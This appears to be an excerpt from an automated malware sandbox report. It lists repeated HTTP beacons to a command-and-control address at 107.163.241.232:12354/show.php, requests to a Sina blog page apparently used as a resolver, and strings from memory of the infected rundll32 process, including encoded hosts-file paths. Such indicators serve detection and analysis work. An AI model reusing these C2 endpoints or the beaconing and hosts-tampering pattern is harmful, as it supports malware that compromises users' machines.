Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: krnaver.com
Source: global traffic	DNS traffic detected: DNS query: blog.sina.com.cn

Source: rundll32.exe, 00000006.00000003.2530320686.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4500534062.000000000553A000.00000004.00000010.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4499127637.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.232:12354/show.php
Source: rundll32.exe, 00000006.00000002.4499127637.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.232:12354/show.php#
Source: rundll32.exe, 00000006.00000003.2244836637.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2245140570.0000000005891000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.232:12354/show.php%A
Source: rundll32.exe, 00000006.00000002.4500195574.0000000004C3C000.00000004.00000010.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4500247536.0000000004CBD000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.232:12354/show.php)
Source: rundll32.exe, 00000006.00000002.4499127637.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.232:12354/show.php.
Source: rundll32.exe, 00000006.00000003.2819270798.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2860685756.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2328048597.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2984597166.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2900570893.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2530320686.0000000005891000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.232:12354/show.php2b
Source: rundll32.exe, 00000006.00000003.2819270798.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2860685756.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2573510715.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2655320938.000000000588C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2984597166.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4500790526.0000000005883000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2900570893.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2530320686.0000000005891000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.232:12354/show.php4b
Source: rundll32.exe, 00000006.00000002.4500534062.000000000553A000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.232:12354/show.php7
Source: rundll32.exe, 00000006.00000003.2244836637.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2245140570.0000000005891000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.232:12354/show.php7A
Source: rundll32.exe, 00000006.00000003.2819270798.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2573510715.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4500790526.0000000005883000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2530320686.0000000005891000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.232:12354/show.php8b
Source: rundll32.exe, 00000006.00000002.4500534062.000000000553A000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.232:12354/show.php;
Source: rundll32.exe, 00000006.00000003.2983769245.0000000000998000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2777759265.0000000000997000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.4260244286.0000000000997000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2984541209.0000000000998000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2860528746.0000000000997000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2819181916.0000000000997000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2900421885.0000000000997000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4499127637.0000000000996000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2941784621.0000000000997000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3025769477.0000000000996000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2696528016.0000000000996000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3958699757.0000000000996000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2984401135.0000000000998000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2327856056.0000000000997000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2668728144.0000000000997000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.232:12354/show.php=
Source: rundll32.exe, 00000006.00000002.4499127637.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.232:12354/show.php?
Source: rundll32.exe, 00000006.00000002.4499127637.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.232:12354/show.phpA
Source: rundll32.exe, 00000006.00000002.4499127637.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.232:12354/show.phpB
Source: rundll32.exe, 00000006.00000003.2655320938.000000000588C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2530320686.0000000005891000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.232:12354/show.phpFb
Source: rundll32.exe, 00000006.00000003.2819270798.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2860685756.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2573510715.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2655320938.000000000588C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2984597166.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4500790526.0000000005883000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2900570893.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2530320686.0000000005891000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.232:12354/show.phpJb
Source: rundll32.exe, 00000006.00000003.2860685756.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2900570893.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2530320686.0000000005891000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.232:12354/show.phpLb
Source: rundll32.exe, 00000006.00000003.2819270798.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2860685756.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2573510715.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2328048597.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2655320938.000000000588C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2984597166.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4500790526.0000000005883000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2900570893.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2530320686.0000000005891000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.232:12354/show.phpMc
Source: rundll32.exe, 00000006.00000003.2819270798.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2860685756.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2900570893.0000000005891000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.232:12354/show.phpRe
Source: rundll32.exe, 00000006.00000003.2244836637.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2245140570.0000000005891000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.232:12354/show.phpSA
Source: rundll32.exe, 00000006.00000003.2244836637.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2245140570.0000000005891000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.232:12354/show.phpUA
Source: rundll32.exe, 00000006.00000002.4499127637.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.232:12354/show.phpW
Source: rundll32.exe, 00000006.00000002.4499127637.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.232:12354/show.phpX
Source: rundll32.exe, 00000006.00000003.2655320938.000000000588C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.232:12354/show.phpcrosoft
Source: rundll32.exe, 00000006.00000002.4500247536.0000000004CBD000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.232:12354/show.phpo
Source: rundll32.exe, 00000006.00000003.2573510715.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2328048597.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2530320686.0000000005891000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.232:12354/show.phpos5c
Source: rundll32.exe, 00000006.00000003.2655320938.000000000588C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2900570893.0000000005891000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.232:12354/show.phpvb
Source: rundll32.exe, 00000006.00000002.4500195574.0000000004C3C000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://107.163.24I
Source: nt11qTrX4f.exe, wlbldvv.exe.0.dr	String found in binary or memory: http://192.168.100.83/
Source: wlbldvv.exe, wlbldvv.exe, 00000005.00000002.2052715481.0000000000407000.00000040.00000001.01000000.00000004.sdmp, wlbldvv.exe, 00000005.00000000.2050613990.0000000000401000.00000080.00000001.01000000.00000004.sdmp, nt11qTrX4f.exe, wlbldvv.exe.0.dr	String found in binary or memory: http://192.168.100.83/9.htm
Source: nt11qTrX4f.exe, wlbldvv.exe.0.dr	String found in binary or memory: http://192.168.100.83/9.htmhttp://192.168.100.83/F.htm%D
Source: nt11qTrX4f.exe, wlbldvv.exe.0.dr	String found in binary or memory: http://192.168.100.83/F.htm
Source: rundll32.exe, rundll32.exe, 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/%s
Source: rundll32.exe, 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/%sXGRyaXZlcnNcZXRjXGhvc3RzLmljcw==XGRyaXZlcnNcZXRjXGhvc3Rz
Source: rundll32.exe, 00000006.00000003.2696574520.0000000000939000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/5655029807
Source: rundll32.exe, 00000006.00000002.4500653072.000000000575D000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/5655029807.
Source: rundll32.exe, 00000006.00000003.2655320938.000000000588C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/56550298072b
Source: rundll32.exe, 00000006.00000003.2328048597.0000000005891000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/56550298074b
